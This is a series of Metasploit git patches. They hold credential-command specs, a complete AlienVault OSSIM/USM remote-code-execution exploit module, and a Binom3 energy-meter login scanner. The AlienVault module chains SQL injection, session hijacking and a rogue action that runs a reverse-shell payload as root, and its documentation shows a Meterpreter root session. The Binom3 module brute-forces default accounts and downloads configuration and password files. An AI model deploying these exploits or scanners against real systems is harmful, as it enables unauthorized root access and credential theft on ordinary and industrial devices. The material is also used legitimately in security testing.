+ end + it 'does not create a core if it already exists' do + FactoryGirl.create(:metasploit_credential_core, + origin: FactoryGirl.create(:metasploit_credential_origin_import), + private: nil, + public: pub, + realm: nil, + workspace: framework.db.workspace) + expect { + creds.cmd_creds('add', "user:#{username}") + }.to_not change { Metasploit::Credential::Core.count } + end + end + context 'private_types' do + context 'password' do + it 'creates a core if one does not exist' do + expect { + creds.cmd_creds('add', "password:#{password}") + }.to change { Metasploit::Credential::Core.count }.by 1 + end + it 'does not create a core if it already exists' do + FactoryGirl.create(:metasploit_credential_core, + origin: FactoryGirl.create(:metasploit_credential_origin_import), + private: priv, + public: nil, + realm: nil, + workspace: framework.db.workspace) + expect { + creds.cmd_creds('add', "password:#{password}") + }.to_not change { Metasploit::Credential::Core.count } + end + end + context 'ntlm' do + let(:priv) { FactoryGirl.create(:metasploit_credential_ntlm_hash) } + it 'creates a core if one does not exist' do + expect { + creds.cmd_creds('add', "ntlm:#{priv.data}") + }.to change { Metasploit::Credential::Core.count }.by 1 + end + it 'does not create a core if it already exists' do + FactoryGirl.create(:metasploit_credential_core, + origin: FactoryGirl.create(:metasploit_credential_origin_import), + private: priv, + public: nil, + realm: nil, + workspace: framework.db.workspace) + expect { + creds.cmd_creds('add', "ntlm:#{priv.data}") + }.to_not change { Metasploit::Credential::Core.count } + end + end + context 'hash' do + let(:priv) { FactoryGirl.create(:metasploit_credential_nonreplayable_hash) } + it 'creates a core if one does not exist' do + expect { + creds.cmd_creds('add', "hash:#{priv.data}") + }.to change { Metasploit::Credential::Core.count }.by 1 + end + it 'does not create a core if it already exists' do + FactoryGirl.create(:metasploit_credential_core, + origin: FactoryGirl.create(:metasploit_credential_origin_import), + private: priv, + public: nil, + realm: nil, + workspace: framework.db.workspace) + expect { + creds.cmd_creds('add', "hash:#{priv.data}") + }.to_not change { Metasploit::Credential::Core.count } + end + end + context 'ssh-key' do + let(:priv) { FactoryGirl.create(:metasploit_credential_ssh_key) } + before(:each) do + @file = Tempfile.new('id_rsa') + @file.write(priv.data) + @file.close + end + it 'creates a core if one does not exist' do + expect { + creds.cmd_creds('add', "user:#{username}", "ssh-key:#{@file.path}") + }.to change { Metasploit::Credential::Core.count }.by 1 + end + it 'does not create a core if it already exists' do + FactoryGirl.create(:metasploit_credential_core, + origin: FactoryGirl.create(:metasploit_credential_origin_import), + private: priv, + public: pub, + realm: nil, + workspace: framework.db.workspace) + expect { + creds.cmd_creds('add', "user:#{username}", "ssh-key:#{@file.path}") }.to_not change { Metasploit::Credential::Core.count } end end end - + context 'realm-types' do + Metasploit::Model::Realm::Key::SHORT_NAMES.each do |short_name, long_name| + context "#{short_name}" do + let(:r) { FactoryGirl.create(:metasploit_credential_realm, key: long_name) } + it 'creates a core if one does not exist' do + expect { + creds.cmd_creds('add', "realm:#{r.value}", "realm-type:#{short_name}") + }.to change { Metasploit::Credential::Core.count }.by 1 + end + it 'does not create a core if it already exists' do + FactoryGirl.create(:metasploit_credential_core, + origin: FactoryGirl.create(:metasploit_credential_origin_import), + private: nil, + public: nil, + realm: r, + workspace: framework.db.workspace) + expect { + creds.cmd_creds('add', "realm:#{r.value}", "realm-type:#{short_name}") + }.to_not change { Metasploit::Credential::Core.count } + end + end + end + end + end + context 'Cores with Logins' do + end end end From 1fcd20b7ef70058b597321396408baf2e86a1f29 Mon Sep 17 00:00:00 2001 From: darkbushido Date: Mon, 30 Jan 2017 12:11:31 -0600 Subject: [PATCH 047/426] adding a spec to show creating a core and login --- .../console/command_dispatcher/creds_spec.rb | 26 ++++++++++++++++++- 1 file changed, 25 insertions(+), 1 deletion(-) diff --git a/spec/lib/msf/ui/console/command_dispatcher/creds_spec.rb b/spec/lib/msf/ui/console/command_dispatcher/creds_spec.rb index 6baeebf224..8fb4534f0d 100644 --- a/spec/lib/msf/ui/console/command_dispatcher/creds_spec.rb +++ b/spec/lib/msf/ui/console/command_dispatcher/creds_spec.rb @@ -445,7 +445,31 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do end end context 'Cores with Logins' do - + let(:address) { '192.168.0.1' } + let(:port) { 80 } + let(:proto) { 'tcp' } + let(:name) { 'Web Service' } + context 'With valid params' do + let(:create_core_with_login) { + creds.cmd_creds( + 'add', "user:#{username}", "password:#{password}", "realm:#{realm}", + "address:#{address}", "port:#{port}", "protocol:#{proto}", "service-name:#{name}") + } + it 'creates a core' do + expect { create_core_with_login }.to change { Metasploit::Credential::Core.count }.by 1 + end + it 'creates a login' do + expect { create_core_with_login }.to change { Metasploit::Credential::Login.count }.by 1 + end + it 'creates a service' do + expect { create_core_with_login }.to change { Mdm::Service.count }.by 1 + end + it 'creates a host' do + expect { create_core_with_login }.to change { Mdm::Host.count }.by 1 + end + end + + end end end From 40108c2374996bea7cfee72554ba6ea20ca36d09 Mon Sep 17 00:00:00 2001 From: Mehmet Ince Date: Tue, 31 Jan 2017 14:15:46 +0300 Subject: [PATCH 048/426] first commit --- .../exploit/linux/http/alienvault_exec.md | 58 ++++ .../exploits/linux/http/alienvault_exec.rb | 306 ++++++++++++++++++ 2 files changed, 364 insertions(+) create mode 100644 documentation/modules/exploit/linux/http/alienvault_exec.md create mode 100644 modules/exploits/linux/http/alienvault_exec.rb diff --git a/documentation/modules/exploit/linux/http/alienvault_exec.md b/documentation/modules/exploit/linux/http/alienvault_exec.md new file mode 100644 index 0000000000..7ffa733718 --- /dev/null +++ b/documentation/modules/exploit/linux/http/alienvault_exec.md @@ -0,0 +1,58 @@ +## Vulnerable Application + +This module exploits object injection, authentication bypass and ip spoofing vulnerabities all together. Unauthenticated users can execute arbitrary commands under the context of the root user. + +By abusing authentication bypass issue on gauge.php lead adversaries to exploit object injection vulnerability +which leads to SQL injection attack that leaks an administrator session token. Attackers can create a rogue +action and policy that enables to execute operating system commands by using captured session token. As a final step, +SSH login attempt with a invalid credentials can trigger a created rogue policy which triggers an action that executes +operating system command with root user privileges. + +This module was tested against AlienVault USM 5.2.5. + +**Vulnerable Application Installation Steps** + +Major version of older releases can be found at following URL. +[http://downloads.alienvault.com/c/download](http://downloads.alienvault.com/c/download) + +You can download file named as AlienVault-USM_trial_5.2.5.zip which contains a OVA file. +In order to complete installation phase, you have to apply [https://www.alienvault.com/try-it-free](https://www.alienvault.com/try-it-free) . +Once alienvault sales team validate your information, you will be able to complete the installation with your e-mail adress. + +## Verification Steps + +A successful check of the exploit will look like this: + +``` +msf > use exploit/linux/http/alienvault_exec +msf exploit(alienvault_exec) > set RHOST 12.0.0.137 +RHOST => 12.0.0.137 +msf exploit(alienvault_exec) > set LHOST 12.0.0.1 +LHOST => 12.0.0.1 +msf exploit(alienvault_exec) > check +[+] 12.0.0.137:443 The target is vulnerable. +msf exploit(alienvault_exec) > exploit + +[*] Started reverse TCP handler on 12.0.0.1:4445 +[*] Hijacking administrator session +[+] Admin session token : PHPSESSID=2gbhp8j5f2af0vu5es5t3083q4 +[*] Creating rogue action +[+] Action created: aWbhnZFHqYbUbNW +[*] Retrieving rogue action id +[+] Corresponding Action ID found: D62A1D4A6D3AEEA65F99B606B02197A1 +[*] Retrieving policy ctx and group values +[+] CTX Value found: 5E22D6A9E79211E6B8E4000C29F647D7 +[+] GROUP Value found: 00000000000000000000000000000000 +[*] Creating a policy that uses our rogue action +[+] Policy created: ASdKHQOZVONGzfU +[*] Activating the policy +[+] Rogue policy activated +[*] Triggering the policy by performing SSH login attempt +[+] SSH - Failed authentication. That means our policy and action will be trigged..! +[*] Sending stage (38500 bytes) to 12.0.0.137 +[*] Meterpreter session 6 opened (12.0.0.1:4445 -> 12.0.0.137:51674) at 2017-01-31 14:13:49 +0300 + +meterpreter > getuid +Server username: root +meterpreter > +``` diff --git a/modules/exploits/linux/http/alienvault_exec.rb b/modules/exploits/linux/http/alienvault_exec.rb new file mode 100644 index 0000000000..e8bd51fd1c --- /dev/null +++ b/modules/exploits/linux/http/alienvault_exec.rb @@ -0,0 +1,306 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::SSH + + def initialize(info={}) + super(update_info(info, + 'Name' => "AlienVault OSSIM/USM Remote Code Execution", + 'Description' => %q{ + This module exploits object injection, authentication bypass and ip spoofing vulnerabities all together. + Unauthenticated users can execute arbitrary commands under the context of the root user. + + By abusing authentication bypass issue on gauge.php lead adversaries to exploit object injection vulnerability + which leads to SQL injection attack that leaks an administrator session token. Attackers can create a rogue + action and policy that enables to execute operating system commands by using captured session token. As a final step, + SSH login attempt with a invalid credentials can trigger a created rogue policy which triggers an action that executes + operating system command with root user privileges. + + This module was tested against AlienVault USM 5.2.5. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Peter Lapp', # EDB advisory owner + 'Mehmet Ince ' # Metasploit module + ], + 'References' => + [ + ['URL', 'https://pentest.blog/unexpected-journey-into-the-alienvault-ossimusm-during-engagement/'], + ['EDB', '40682'] + ], + 'DefaultOptions' => + { + 'SSL' => true, + 'WfsDelay' => 10, + 'Payload' => 'python/meterpreter/reverse_tcp' + }, + 'Platform' => ['python'], + 'Arch' => ARCH_PYTHON, + 'Targets' => + [ + ['Alienvault OSSIM 5.3.1', {}] + ], + 'Privileged' => true, + 'DisclosureDate' => "Jan 31 2017", + 'DefaultTarget' => 0 + )) + + register_options( + [ + Opt::RPORT(443), + OptString.new('TARGETURI', [true, 'The URI of the vulnerable Alienvault OSSIM instance', '/']) + ], self.class) + end + + + def check + r = rand_text_alpha(15) + p = "a:1:{s:4:\"type\";s:69:\"1 AND extractvalue(rand(),concat(0x3a,(SELECT '#{r}')))-- \";}" + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'ossim', 'dashboard', 'sections', 'widgets', 'data', 'gauge.php'), + 'headers' => { + 'User-Agent' => 'AV Report Scheduler', + }, + 'vars_get' => { + 'type' => 'alarm', + 'wtype' => 'foo', + 'asset' => 'ALL_ASSETS', + 'height' => 1, + 'value' => p + } + }) + + if res && res.code == 200 && res.body =~ /XPATH syntax error: ':#{r}'/ + Exploit::CheckCode::Vulnerable + else + Exploit::CheckCode::Safe + end + + end + + + def exploit + # Hijacking Administrator session by exploiting objection injection vuln that end up with sqli + print_status("Hijacking administrator session") + + sql = "SELECT id FROM sessions LIMIT 1" + p = "a:1:{s:4:\"type\";s:#{(sql.length + 58).to_s}:\"1 AND extractvalue(rand(),concat(0x3a3a3a,(#{sql}),0x3a3a3a))-- \";}" + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'ossim', 'dashboard', 'sections', 'widgets', 'data', 'gauge.php'), + 'headers' => { + 'User-Agent' => 'AV Report Scheduler', + }, + 'vars_get' => { + 'type' => 'alarm', + 'wtype' => 'foo', + 'asset' => 'ALL_ASSETS', + 'height' => 1, + 'value' => p + } + }) + if res && res.code == 200 && res.body =~ /XPATH syntax error: ':::(.*):::'/ + admin_session = $1 + cookie = "PHPSESSID=#{admin_session}" + print_good("Admin session token : #{cookie}") + else + fail_with(Failure::Unknown, "Session table is empty. Wait until someone logged in and try again") + end + + # Creating a Action that contains payload. + print_status("Creating rogue action") + r = rand_text_alpha(15) + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'ossim', 'action', 'modifyactions.php'), + 'headers' => { + 'User-Agent' => 'AV Report Scheduler', + }, + 'vars_post' => { + 'id' => '', + 'action' => 'new', + 'old_name' => '', + 'action_name' => r, + 'ctx' => '', + 'old_descr' => '', + 'descr' => r, + 'action_type' => '2', + 'only' => 'on', + 'cond' => 'True', + 'email_from' => '', + 'email_to' => 'email;email;email', + 'email_subject' => '', + 'email_message' => '', + 'transferred_user' => '', + 'transferred_entity' => '', + 'exec_command' => "python -c \"#{payload.encoded}\"" + } + }) + + if res && res.code == 200 && res.body.include?("Action successfully updated") + print_good("Action created: #{r}") + else + fail_with(Failure::Unknown, "Unable to create action") + end + + # Retrieving the policy id. Authentication Bypass with User-Agent Doesn't work for this endpoint. + # Thus we're using hijacked administrator session. + print_status("Retrieving rogue action id") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "ossim", "action", "getaction.php"), + 'cookie' => cookie, + 'vars_get' => { + 'page' => '1', + 'rp' => '2000' + } + }) + + if res && res.code == 200 && res.body =~ /actionform\.php\?id=(.*)'>#{r}<\/a>/ + action_id = $1 + print_good("Corresponding Action ID found: #{action_id}") + else + fail_with(Failure::Unknown, "Unable to retrieve action id") + end + + # Retrieving the policy data. We will use it while creating policy + print_status("Retrieving policy ctx and group values") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path.to_s, "ossim", "policy", "policy.php"), + 'cookie' => cookie, + 'vars_get' => { + 'm_opt' => 'configuration', + 'sm_opt' => 'threat_intelligence', + 'h_opt' => 'policy' + } + }) + + if res && res.code == 200 && res.body =~ /getpolicy\.php\?ctx=(.*)\&group=(.*)',/ + policy_ctx = $1 + policy_group = $2 + print_good("CTX Value found: #{policy_ctx}") + print_good("GROUP Value found: #{policy_group}") + else + fail_with(Failure::Unknown, "Unable to retrieve policy data") + end + + # Creating policy that will be trigerred when SSH authentication failed due to wrong password. + print_status("Creating a policy that uses our rogue action") + policy = rand_text_alpha(15) + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, "ossim", "policy", "newpolicy.php"), + 'cookie' => cookie, + 'vars_post' => { + 'descr' => policy, + 'active' => '1', + 'group' => policy_group, + 'ctx' => policy_ctx, + 'order' => '1', + 'action' => 'new', + 'sources[]' => '00000000000000000000000000000000', + 'dests[]' => '00000000000000000000000000000000', + 'portsrc[]' => '0', + 'portdst[]' => '0', + 'plug_type' => '1', + 'plugins[0]' => 'on', + 'taxfilters[]' =>'25@2@0', + 'tax_pt' => '0', + 'tax_cat' => '0', + 'tax_subc' => '0', + 'mboxs[]' => '00000000000000000000000000000000', + 'rep_act' => '0', + 'rep_sev' => '1', + 'rep_rel' => '1', + 'rep_dir' => '0', + 'ev_sev' => '1', + 'ev_rel' => '1', + 'tzone' => 'Europe/Istanbul', + 'date_type' => '1', + 'begin_hour' => '0', + 'begin_minute' => '0', + 'begin_day_week' => '1', + 'begin_day_month' => '1', + 'begin_month' => '1', + 'end_hour' => '23', + 'end_minute' => '59', + 'end_day_week' => '7', + 'end_day_month' => '31', + 'end_month' => '12', + 'actions[]' => action_id, + 'sim' => '1', + 'priority' => '1', + 'qualify' => '1', + 'correlate' => '0', + 'cross_correlate' => '0', + 'store' => '0' + } + }) + + if res && res.code == 200 + print_good("Policy created: #{policy}") + else + fail_with(Failure::Unknown, "Unable to create policy id") + end + + # We gotta reload all policies in order to make our rogue one enabled. + print_status("Activating the policy") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "ossim", "conf", "reload.php"), + 'cookie' => cookie, + 'vars_get' => { + 'what' => 'policies', + 'back' => '../policy/policy.php' + } + }) + + if res && res.code == 200 + print_good("Rogue policy activated") + else + fail_with(Failure::Unknown, "#{peer} - Unable to enable rogue policy") + end + + # We will trigger the rogue policy by doing ssh auth attempt with invalid credential :-) + factory = ssh_socket_factory + opts = { + auth_methods: ['password'], + port: 22, + use_agent: false, + config: false, + password: rand_text_alpha(15), + proxy: factory, + non_interactive: true + } + + print_status("Triggering the policy by performing SSH login attempt") + + begin + Net::SSH.start(rhost, "root", opts) + rescue Net::SSH::AuthenticationFailed + print_good("SSH - Failed authentication. That means our policy and action will be trigged..!") + rescue Net::SSH::Exception => e + print_error("SSH Error: #{e.class} : #{e.message}") + return nil + end + + end +end From c666ac93f5f7c0b7cca476c261ae072488468f80 Mon Sep 17 00:00:00 2001 From: Mehmet Ince Date: Tue, 31 Jan 2017 14:37:22 +0300 Subject: [PATCH 049/426] Adding xff header --- modules/exploits/linux/http/alienvault_exec.rb | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/modules/exploits/linux/http/alienvault_exec.rb b/modules/exploits/linux/http/alienvault_exec.rb index e8bd51fd1c..9e08968bad 100644 --- a/modules/exploits/linux/http/alienvault_exec.rb +++ b/modules/exploits/linux/http/alienvault_exec.rb @@ -101,6 +101,7 @@ class MetasploitModule < Msf::Exploit::Remote 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'ossim', 'dashboard', 'sections', 'widgets', 'data', 'gauge.php'), 'headers' => { + 'X-Forwarded-For' => rhost.to_s, 'User-Agent' => 'AV Report Scheduler', }, 'vars_get' => { @@ -127,6 +128,7 @@ class MetasploitModule < Msf::Exploit::Remote 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'ossim', 'action', 'modifyactions.php'), 'headers' => { + 'X-Forwarded-For' => rhost.to_s, 'User-Agent' => 'AV Report Scheduler', }, 'vars_post' => { @@ -164,6 +166,9 @@ class MetasploitModule < Msf::Exploit::Remote 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "ossim", "action", "getaction.php"), 'cookie' => cookie, + 'headers' => { + 'X-Forwarded-For' => rhost.to_s, + }, 'vars_get' => { 'page' => '1', 'rp' => '2000' @@ -184,6 +189,9 @@ class MetasploitModule < Msf::Exploit::Remote 'method' => 'GET', 'uri' => normalize_uri(target_uri.path.to_s, "ossim", "policy", "policy.php"), 'cookie' => cookie, + 'headers' => { + 'X-Forwarded-For' => rhost.to_s, + }, 'vars_get' => { 'm_opt' => 'configuration', 'sm_opt' => 'threat_intelligence', @@ -208,6 +216,9 @@ class MetasploitModule < Msf::Exploit::Remote 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "ossim", "policy", "newpolicy.php"), 'cookie' => cookie, + 'headers' => { + 'X-Forwarded-For' => rhost.to_s, + }, 'vars_post' => { 'descr' => policy, 'active' => '1', @@ -267,6 +278,9 @@ class MetasploitModule < Msf::Exploit::Remote 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "ossim", "conf", "reload.php"), 'cookie' => cookie, + 'headers' => { + 'X-Forwarded-For' => rhost.to_s, + }, 'vars_get' => { 'what' => 'policies', 'back' => '../policy/policy.php' From 59e31e26f22395c9ff9b5d85c02953a10ae0972c Mon Sep 17 00:00:00 2001 From: juushya Date: Wed, 1 Feb 2017 03:35:35 +0530 Subject: [PATCH 050/426] Add Binom3 module --- .../http/binom3_login_config_pass_dump.md | 33 +++ .../http/binom3_login_config_pass_dump.rb | 206 ++++++++++++++++++ 2 files changed, 239 insertions(+) create mode 100644 documentation/modules/auxiliary/scanner/http/binom3_login_config_pass_dump.md create mode 100644 modules/auxiliary/scanner/http/binom3_login_config_pass_dump.rb diff --git a/documentation/modules/auxiliary/scanner/http/binom3_login_config_pass_dump.md b/documentation/modules/auxiliary/scanner/http/binom3_login_config_pass_dump.md new file mode 100644 index 0000000000..b52f405c88 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/binom3_login_config_pass_dump.md @@ -0,0 +1,33 @@ +This module scans for Binom3 Multifunctional Revenue Energy Meter and Power Quality Analyzer management login portal(s), and attempts to identify valid credentials. There are four (4) default accounts - 'root'/'root', 'admin'/'1', 'alg'/'1', 'user'/'1'. In addition to device config, 'root' user can also access password file. Other users - admin, alg, user - can only access configuration file. The module attempts to download configuration and password files depending on the login user credentials found. + +## Verification Steps + +1. Do: ```use auxiliary/scanner/http/binom3_login_config_pass_dump``` +2. Do: ```set RHOSTS [IP]``` +3. Do: ```set RPORT [PORT]``` +4. Do: ```run``` + +## Sample Output + + ``` +msf > use auxiliary/scanner/http/binom3_login_config_pass_dump +msf auxiliary(binom3_login_config_pass_dump) > set rhosts 1.2.3.4 +msf auxiliary(binom3_login_config_pass_dump) > run + +[+] 1.3.3.7:80 - Running Binom3... +[*] 1.3.3.7:80 - Trying username:"root" with password:"root" +[+] SUCCESSFUL LOGIN - 1.3.3.7:80 - "root":"root" +[+] ++++++++++++++++++++++++++++++++++++++ +[+] #{rhost} - dumping configuration +[+] ++++++++++++++++++++++++++++++++++++++ +[+] 1.3.3.7:80 - File retrieved successfully! +[*] 1.3.3.7:80 - File saved in: /root/.msf4/loot/20000000000003_moduletest_1.3.3.7_Binom3_config_165927.txt +[+] ++++++++++++++++++++++++++++++++++++++ +[+] #{rhost} - dumping password file +[+] ++++++++++++++++++++++++++++++++++++++ +[+] 1.3.3.7:80 - File retrieved successfully! +[*] 1.3.3.7:80 - File saved in: /root/.msf4/loot/20000000000004_moduletest_1.3.3.7_Binom3_passw_010954.txt +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed + + ``` diff --git a/modules/auxiliary/scanner/http/binom3_login_config_pass_dump.rb b/modules/auxiliary/scanner/http/binom3_login_config_pass_dump.rb new file mode 100644 index 0000000000..284580a965 --- /dev/null +++ b/modules/auxiliary/scanner/http/binom3_login_config_pass_dump.rb @@ -0,0 +1,206 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Binom3 Web Management Login Scanner, Config and Password File Dump', + 'Description' => %{ + This module scans for Binom3 Multifunctional Revenue Energy Meter and Power Quality Analyzer management login portal(s), and attempts to identify valid credentials. There are four (4) default accounts - 'root'/'root', 'admin'/'1', 'alg'/'1', 'user'/'1'. In addition to device config, 'root' user can also access password file. Other users - admin, alg, user - can only access configuration file. The module attempts to download configuration and password files depending on the login user credentials found. + + }, + 'References' => + [ + ['URL', 'https://ics-cert.us-cert.gov/alerts/ICS-ALERT-16-263-01'] + ], + 'Author' => + [ + 'Karn Ganeshen ' + ], + 'License' => MSF_LICENSE, + 'DefaultOptions' => { 'VERBOSE' => true }) + ) + + register_options( + [ + Opt::RPORT(80), # Application may run on a different port too. Change port accordingly. + OptString.new('USERNAME', [false, 'A specific username to authenticate as', 'root']), + OptString.new('PASSWORD', [false, 'A specific password to authenticate with', 'root']) + ], self.class + ) + end + + def run_host(ip) + unless is_app_binom3? + return + end + + each_user_pass do |user, pass| + do_login(user, pass) + end + end + + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + + # + # Check if App is Binom3 + # + + def is_app_binom3? + begin + res = send_request_cgi( + { + 'uri' => '/', + 'method' => 'GET' + } + ) + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE + print_error("#{rhost}:#{rport} - HTTP Connection Failed...") + return false + end + + if (res && res.code == 200 && res.headers['Server'] && (res.headers['Server'].include?('Team-R Web') || res.body.include?('binom_ico') || res.body.include?('team-r'))) + + print_good("#{rhost}:#{rport} - Running Binom3...") + + return true + else + print_error("#{rhost}:#{rport} - Application does not appear to be Binom3. Module will not continue.") + return false + end + end + + # + # Brute-force the login page + # + + def do_login(user, pass) + print_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}") + begin + + res = send_request_cgi( + { + 'uri' => '/~login', + 'method' => 'POST', + 'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' }, + 'vars_post' => + { + 'login' => user, + 'password' => pass + } + } + ) + + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE + + vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...") + return :abort + + end + + if (res && res.code == 302 && res.get_cookies.include?('IDSESSION')) + + print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}") + + report_cred( + ip: rhost, + port: rport, + service_name: 'Binom3', + user: user, + password: pass + ) + + # Set Cookie + + get_cookie = res.get_cookies + cookie = get_cookie + ' NO-HELP=true; onlyRu=1' + + # Attempting to download config / password file(s) + + config_uri = '~cfg_ask_xml?type=cfg' + + res = send_request_cgi({ 'method' => 'GET', 'uri' => config_uri, 'cookie' => cookie }) + + if res && res.code == 200 + print_good('++++++++++++++++++++++++++++++++++++++') + print_good('#{rhost} - dumping configuration') + print_good('++++++++++++++++++++++++++++++++++++++') + + print_good("#{rhost}:#{rport} - File retrieved successfully!") + path = store_loot( + 'Binom3_config', + 'text/xml', + rhost, + res.body, + rport, + 'Binom3 device config' + ) + print_status("#{rhost}:#{rport} - File saved in: #{path}") + else + print_error("#{rhost}:#{rport} - Failed to retrieve configuration") + return + end + + if user == 'root' + config_uri = '~cfg_ask_xml?type=passw' + res = send_request_cgi({ 'method' => 'GET', 'uri' => config_uri, 'cookie' => cookie }) + + if res && res.code == 200 + print_good('++++++++++++++++++++++++++++++++++++++') + print_good('#{rhost} - dumping password file') + print_good('++++++++++++++++++++++++++++++++++++++') + + print_good("#{rhost}:#{rport} - File retrieved successfully!") + path = store_loot( + 'Binom3_passw', + 'text/xml', + rhost, + res.body, + rport, + 'Binom3 device config' + ) + print_status("#{rhost}:#{rport} - File saved in: #{path}") + else + print_error("#{rhost}:#{rport} - Failed to retrieve password file") + return + end + end + else + print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}") + end + end +end From 82d277741761a4e9ccb7a48e40ef45620f10dbf3 Mon Sep 17 00:00:00 2001 From: juushya Date: Wed, 1 Feb 2017 03:44:50 +0530 Subject: [PATCH 051/426] Minor update --- .../auxiliary/scanner/http/binom3_login_config_pass_dump.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/http/binom3_login_config_pass_dump.rb b/modules/auxiliary/scanner/http/binom3_login_config_pass_dump.rb index 284580a965..26ea9fba6c 100644 --- a/modules/auxiliary/scanner/http/binom3_login_config_pass_dump.rb +++ b/modules/auxiliary/scanner/http/binom3_login_config_pass_dump.rb @@ -157,7 +157,7 @@ class MetasploitModule < Msf::Auxiliary if res && res.code == 200 print_good('++++++++++++++++++++++++++++++++++++++') - print_good('#{rhost} - dumping configuration') + print_good("#{rhost} - dumping configuration") print_good('++++++++++++++++++++++++++++++++++++++') print_good("#{rhost}:#{rport} - File retrieved successfully!") @@ -181,7 +181,7 @@ class MetasploitModule < Msf::Auxiliary if res && res.code == 200 print_good('++++++++++++++++++++++++++++++++++++++') - print_good('#{rhost} - dumping password file') + print_good("#{rhost} - dumping password file") print_good('++++++++++++++++++++++++++++++++++++++') print_good("#{rhost}:#{rport} - File retrieved successfully!") From 423648e347c059d5e20dda0166f2b825efed3d1b Mon Sep 17 00:00:00 2001 From: juushya Date: Wed, 1 Feb 2017 03:53:14 +0530 Subject: [PATCH 052/426] Minor edits --- .../scanner/http/binom3_login_config_pass_dump.md | 8 ++++---- .../scanner/http/binom3_login_config_pass_dump.rb | 2 +- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/documentation/modules/auxiliary/scanner/http/binom3_login_config_pass_dump.md b/documentation/modules/auxiliary/scanner/http/binom3_login_config_pass_dump.md index b52f405c88..cdfc0f1acb 100644 --- a/documentation/modules/auxiliary/scanner/http/binom3_login_config_pass_dump.md +++ b/documentation/modules/auxiliary/scanner/http/binom3_login_config_pass_dump.md @@ -11,19 +11,19 @@ This module scans for Binom3 Multifunctional Revenue Energy Meter and Power Qual ``` msf > use auxiliary/scanner/http/binom3_login_config_pass_dump -msf auxiliary(binom3_login_config_pass_dump) > set rhosts 1.2.3.4 +msf auxiliary(binom3_login_config_pass_dump) > set rhosts 1.3.3.7 msf auxiliary(binom3_login_config_pass_dump) > run -[+] 1.3.3.7:80 - Running Binom3... +[+] 1.3.3.7:80 - Binom3 confirmed... [*] 1.3.3.7:80 - Trying username:"root" with password:"root" [+] SUCCESSFUL LOGIN - 1.3.3.7:80 - "root":"root" [+] ++++++++++++++++++++++++++++++++++++++ -[+] #{rhost} - dumping configuration +[+] 1.3.3.7 - dumping configuration [+] ++++++++++++++++++++++++++++++++++++++ [+] 1.3.3.7:80 - File retrieved successfully! [*] 1.3.3.7:80 - File saved in: /root/.msf4/loot/20000000000003_moduletest_1.3.3.7_Binom3_config_165927.txt [+] ++++++++++++++++++++++++++++++++++++++ -[+] #{rhost} - dumping password file +[+] 1.3.3.7 - dumping password file [+] ++++++++++++++++++++++++++++++++++++++ [+] 1.3.3.7:80 - File retrieved successfully! [*] 1.3.3.7:80 - File saved in: /root/.msf4/loot/20000000000004_moduletest_1.3.3.7_Binom3_passw_010954.txt diff --git a/modules/auxiliary/scanner/http/binom3_login_config_pass_dump.rb b/modules/auxiliary/scanner/http/binom3_login_config_pass_dump.rb index 26ea9fba6c..65c47dc93f 100644 --- a/modules/auxiliary/scanner/http/binom3_login_config_pass_dump.rb +++ b/modules/auxiliary/scanner/http/binom3_login_config_pass_dump.rb @@ -95,7 +95,7 @@ class MetasploitModule < Msf::Auxiliary if (res && res.code == 200 && res.headers['Server'] && (res.headers['Server'].include?('Team-R Web') || res.body.include?('binom_ico') || res.body.include?('team-r'))) - print_good("#{rhost}:#{rport} - Running Binom3...") + print_good("#{rhost}:#{rport} - Binom3 confirmed...") return true else From 5bf54fef0fcd03360be01ff8802fffa1497c0a39 Mon Sep 17 00:00:00 2001 From: 